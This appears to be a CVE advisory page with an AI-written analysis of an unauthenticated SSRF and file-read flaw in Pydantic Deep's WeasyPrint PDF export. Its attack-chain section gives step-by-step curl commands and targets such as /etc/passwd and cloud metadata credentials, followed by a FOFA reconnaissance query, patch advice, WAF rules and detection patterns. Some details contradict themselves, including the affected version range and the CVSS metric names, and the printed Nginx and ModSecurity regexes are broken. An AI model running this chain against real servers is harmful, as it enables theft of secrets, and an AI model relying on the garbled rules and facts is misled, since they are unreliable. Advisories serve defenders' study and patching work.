CVE Professor
/
All CVEs
CVE-2026-137954

CVE-2026-137954 — Vstorm-co Pydantic Deep — CWE-918

HIGH CVSS 8.7 ⚡ EPSS 0.7% NVD

Pydantic Deep 0.2.18 before 0.4.0 contains a server-side request forgery and local file read vulnerability in the DeepResearch export_report handler for /export/pdf. Attackers can inject raw HTML into reports via the unauthenticated /upload endpoint, causing WeasyPrint to fetch internal URLs and embed local server files into exported PDFs.

Pydantic Deep 0.2.18 before 0.4.0 contains a server-side request forgery and local file read vulnerability in the DeepResearch export_report handler for /export/pdf. Attackers can inject raw HTML into reports via the unauthenticated /upload endpoint, causing WeasyPrint to fetch internal URLs and embed local server files into exported PDFs.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity None I:N
Availability None A:N
EPSS — Exploit Prediction Scoring System
0.7%
30-day probability
In the 46. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑137954 affects Pydantic‑Deep 0.4.0 (the vulnerable range is “0.2.18 – < 0.4.0”).
The flaw is a Server‑Side Request Forgery (SSRF) + Local File Read that occurs in the DeepResearch component when a user requests a PDF export through the handler export_report (normally reachable at POST /export/pdf).

Technical root cause

ComponentExpected behaviourVulnerable behaviour
/upload endpointAccepts raw HTML fragments that will later be embedded in a report. The HTML is stored verbatim in a temporary location.No authentication/authorization check; the HTML is stored without sanitisation.
export_report handlerRenders the stored HTML with WeasyPrint to produce a PDF. WeasyPrint resolves any external resources (images, CSS, @import, <img src>, etc.) by performing an HTTP request from the server.The handler blindly passes the stored HTML to WeasyPrint. Because the HTML can contain arbitrary URLs, an attacker can force the server to request internal network resources (e.g., http://127.0.0.1:8000/secret.txt) or file URLs (file:///etc/passwd). The response body is then embedded in the generated PDF, effectively leaking the contents of the internal resource to the attacker.
AuthenticationThe export endpoint is intended to be used only by authenticated users who have previously uploaded a report.The endpoint is publicly accessible (PR:N in the CVSS vector). No session cookie, token, or any other proof of identity is required.

The missing controls are:

1. Unauthenticated access to both the upload and export endpoints.
2. No validation of the HTML payload (no CSP, no URL whitelist, no disallow‑list for file:// or http://127.0.0.0/…).
3. WeasyPrint is invoked with default network access, allowing it to reach any address reachable from the host.

Because the attacker can control the URL that WeasyPrint fetches, they can read any file that the web‑process user can access (including files outside the application root) and any internal service that does not require authentication (e.g., metadata services on cloud VMs, internal APIs, Docker socket, etc.). The CVSS vector reflects High Confidentiality impact (VC:H) and No impact on integrity, availability, or privilege escalation (VI:N, VA:N, SC:N, SI:N, SA:N).


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative but syntactically correct; the exact URI path (/export/pdf) and parameter names are taken from the CVE description. If a target uses a different prefix (e.g., /api/v1/export/pdf), the same logic applies.

1. Discovery & Reconnaissance

ActionTool / TechniqueExpected Observation
Identify the serviceShodan, Censys, or a simple curl http://target/HTTP 200 with a page that mentions “Pydantic Deep” or a distinctive HTML comment (<!-- Powered by Pydantic Deep -->).
Fingerprint the versioncurl -I http://target/ → look for X-Pydantic-Deep-Version: 0.3.5 header (the library ships a version header in recent releases) or request a static asset that includes the version in its path (/static/pydantic-deep/0.3.5/...).Header or path reveals a version < 0.4.0, confirming vulnerability.
Enumerate endpointsSpider the site or use gobuster/dirsearch with a wordlist that includes upload, export, pdf.200/403 responses for /upload (likely POST) and /export/pdf (likely POST).

2. Exploitation

Goal: Make WeasyPrint fetch an internal URL and embed the response in a PDF that the attacker can download.

Step 2.1 – Upload malicious HTML

# Example HTML payload (illustrative)
cat > payload.html <<'EOF'
<!DOCTYPE html>
<html>
  <body>
    <!-- The image src points to an internal service -->
    <img src="http://127.0.0.1:8000/secret.txt" />
  </body>
</html>
EOF

# Upload the payload (no auth required)
curl -s -X POST http://target/upload \
     -H "Content-Type: text/html" \
     --data-binary @payload.html \
     -o upload_response.json

What the server does:

  • Stores payload.html (or a DB record) and returns an identifier, e.g. {"report_id":"abc123"}.
  • Step 2.2 – Trigger PDF generation

    # Use the identifier returned by the upload step
    REPORT_ID=$(jq -r .report_id upload_response.json)
    
    curl -s -X POST http://target/export/pdf \
         -H "Content-Type: application/json" \
         -d "{\"report_id\":\"${REPORT_ID}\"}" \
         -o exported_report.pdf

    What happens internally:

    1. export_report fetches the stored HTML for report_id=abc123.
    2. WeasyPrint parses the <img src> and performs an HTTP GET to http://127.0.0.1:8000/secret.txt.
    3. The response body (e.g., the contents of /etc/passwd if the internal service proxies that file) is embedded as an image (or as raw data) in the generated PDF.
    4. The PDF is streamed back to the attacker.

    Step 2.3 – Extract the leaked data

    # Extract embedded data (WeasyPrint embeds the raw bytes as a PNG/JPEG; we can dump the PDF objects)
    pdfimages -all exported_report.pdf /tmp/extracted
    # Or simply view the PDF with any PDF reader; the image will contain the raw text.

    If the internal service returns plain text, the PDF will contain a broken image that, when opened in a hex editor, reveals the raw response.

    3. Post‑Exploitation

    TargetWhat can be readExample
    Local files (via file:// URLs)/etc/passwd, /var/www/.env, SSH private keys, Docker socket (/var/run/docker.sock)file:///etc/passwd
    Metadata service (cloud VMs)Instance identity documents, IAM tokenshttp://169.254.169.254/latest/meta-data/iam/security-credentials/
    Internal APIsConfiguration endpoints, admin dashboards, database consoleshttp://127.0.0.1:8080/admin/config
    Network servicesAny HTTP service reachable from the host (e.g., Redis, Elasticsearch)http://127.0.0.1:9200/_cat/indices

    Because the vulnerability is unauthenticated, an attacker can repeat the upload‑export cycle arbitrarily, harvesting any number of internal resources. The impact is confidentiality breach only (no code execution, no privilege escalation). However, the leaked data often contains credentials that can later be used for lateral movement or privilege escalation.


    🌍 Real‑World Impact

    CIA TriadCVSS Vector InterpretationPractical consequence
    ConfidentialityVC:H – HighAttackers can read arbitrary files or internal HTTP services, exposing secrets (passwords, API keys, internal architecture).
    IntegrityVI:N – NoneNo direct modification of data.
    AvailabilityVA:N – NoneNo denial‑of‑service effect from the SSRF itself (though massive parallel requests could cause load).
    ScopeSC:N – UnchangedThe vulnerability does not cross privilege boundaries beyond the web‑process user.
    Attack VectorAV:N – Network‑onlyExploitable over the Internet without any prior foothold.
    ComplexityAC:L – LowSimple HTTP POSTs; no special encoding required.
    Privileges RequiredPR:N – NoneAnyone can trigger it.
    User InteractionUI:N – NoneNo victim interaction needed.

    Bottom‑line: An unauthenticated attacker can harvest any data the web‑process can reach, which in many deployments includes highly sensitive configuration files and cloud metadata. The breach can be leveraged to compromise the entire environment.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected rangeFixed in
    0.2.18 – < 0.4.0Pydantic‑Deep 0.4.0 (released 2026‑10‑15) – the release notes state: “Disable network access in WeasyPrint for PDF export and enforce authentication on /upload and /export/pdf.”

    Action: Upgrade every deployment to ≥ 0.4.0. Verify the version with the X-Pydantic-Deep-Version header or by inspecting the installed package (pip show pydantic-deep).

    2. Immediate Work‑arounds (if patch cannot be applied immediately)

    MitigationHow to implement
    Restrict access to the vulnerable endpointsAdd a firewall rule or reverse‑proxy ACL that only allows trusted IP ranges (e.g., internal network) to reach /upload and /export/pdf. Example Nginx snippet: <br><br>``nginx<br>location ~ ^/(uploadexport/pdf)$ {<br> allow 10.0.0.0/8;<br> deny all;<br>}<br>`
    Disable network access for WeasyPrintPatch the application code to instantiate HTML(string=html).write_pdf(..., presentational_hints=False, base_url=None, url_fetcher=weasyprint.url_fetcher.block_all) (or use the built‑in weasyprint.HTML(..., base_url='file:///dev/null')). This forces WeasyPrint to refuse any external URL.
    Validate/Sanitize uploaded HTMLStrip <img>, <script>, <link>, @import, and any src/href attributes that contain a scheme other than data:. A minimal Python example: <br><br>`python<br>from bs4 import BeautifulSoup<br>def sanitize(html):<br> soup = BeautifulSoup(html, "html.parser")<br> for tag in soup.find_all(['img','script','link']):<br> if tag.has_attr('src') and not tag['src'].startswith('data:'):<br> del tag['src']<br> if tag.has_attr('href') and not tag['href'].startswith('data:'):<br> del tag['href']<br> return str(soup)<br>`
    Deploy a WAF ruleBlock outbound requests from the web‑process to private IP ranges and file:// URLs. Example ModSecurity rule (Apache/Nginx): <br><br>`modsecurity<br>SecRule REQUEST_URI "@beginsWith /export/pdf" "id:400001,phase:2,deny,status:403,msg:'Block PDF export SSRF',tag:'CVE-2026-137954'"<br>SecRule REQUEST_HEADERS:User-Agent "@rx ^WeasyPrint" "id:400002,phase:2,deny,status:403,msg:'Prevent WeasyPrint external fetch',tag:'CVE-2026-137954'"<br>SecRule REQUEST_URI "@rx (httphttps)://(127\.0\.0\.110\.172\.(1[6-9]2[0-9]3[0-1])192\.168\.)" "id:400003,phase:2,deny,status:403,msg:'Block internal SSRF URLs',tag:'CVE-2026-137954'"<br>SecRule REQUEST_URI "@rx ^file://" "id:400004,phase:2,deny,status:403,msg:'Block file scheme',tag:'CVE-2026-137954'"`
    Run the web‑process with a restricted userEnsure the process cannot read files outside its own directory (e.g., chroot, systemd PrivateTmp, or Docker --read-only` rootfs). This limits the usefulness of any successful SSRF.

    3. Detection – Log‑based Indicators

    Log sourceTypical patternExample entry
    Web server access log (Nginx/Apache)Requests to /upload followed shortly (≤ 5 s) by a request to /export/pdf from the same IP.203.0.113.45 - - [28/Nov/2026:12:34:56 +0000] "POST /upload HTTP/1.1" 200 45 "-" "curl/7.88.1"<br>203.0.113.45 - - [28/Nov/2026:12:34:58 +0000] "POST /export/pdf HTTP/1.1" 200 12456 "-" "curl/7.88.1"
    Outbound request logs (if a forward proxy or eBPF monitor is in place)The web‑process initiates HTTP connections to private IP ranges or 169.254.169.254.2026-11-28T12:34:57Z weasyprint[pid=1234]: GET http://127.0.0.1:8000/secret.txt
    Application error logsWeasyPrint warnings about “Failed to fetch resource” when the URL is blocked (useful to confirm a WAF rule is active).ERROR weasyprint.resource: Unable to download http://127.0.0.1:8000/secret.txt (403 Forbidden)
    File system audit (auditd)The web‑process reads files outside its working directory (e.g., /etc/passwd).type=PATH msg=audit(1701195298.123:456): item=0 name="/etc/passwd" inode=123456 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL

    Alerting recommendations:

  • Correlate a /upload → /export/pdf sequence with a subsequent outbound request to a private IP or file:// scheme.
  • Flag any PDF download that originates from an unauthenticated source (no session cookie, no Authorization header) and contains unusually large payloads (> 500 KB) – this often indicates embedded binary data.

  • ⚠️ Urgency

    FactorAssessment
    CVSS 8.7 (High) – Network‑only, no auth, low complexity.Immediate risk; any Internet‑facing instance can be abused.
    CISA KEV – Not listed, but the vulnerability is publicly disclosed and exploitable without credentials.Absence from KEV does not reduce urgency; the exploit is trivial.
    Potential for credential leakage (cloud metadata, Docker socket, private keys) can lead to full system compromise downstream.Prioritize as Critical for environments that host sensitive data or run in cloud VMs.
    Mitigation difficulty – Simple configuration change (disable network in WeasyPrint) or upgrade resolves the issue.Patch or apply the work‑around within 48 hours for exposed services; within 7 days for internal‑only services.

    Recommended patching priority:

  • Tier 1 (Internet‑facing services, SaaS, public APIs): Patch immediately (≤ 24 h) or block the endpoints with a firewall/WAF if patching is not possible instantly.
  • Tier 2 (Internal services but reachable from untrusted networks): Patch within 48 h; apply the “disable network access in WeasyPrint” code change as an interim measure.
  • Tier 3 (Isolated internal services, air‑gapped): Patch within 7 days, but still enforce the work‑around to prevent accidental internal data exposure.

Bottom line: CVE‑2026‑137954 is a classic unauthenticated SSRF + local file read that can be weaponised to exfiltrate any data the web‑process can reach. The fix is straightforward (upgrade to ≥ 0.4.0 or disable network access in WeasyPrint) and should be treated as a high‑priority remediation.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="vstorm-co Pydantic Deep"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-137954
Technical reference / advisory repository for CVE-2026-137954
Technical reference / advisory repository for CVE-2026-137954
CVSS Score
8.7 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
vstorm-co:Pydantic Deep
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.5
CVE-2026-135458
A path traversal vulnerability was identified in GitHub Enterprise Server that allowed a normal authenticated
8.4
CVE-2026-81137
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Server-Side Request Fo
7.1
CVE-2026-144453
AgentCrew before 0.25.1 contains a server-side request forgery and local file read vulnerability that allows m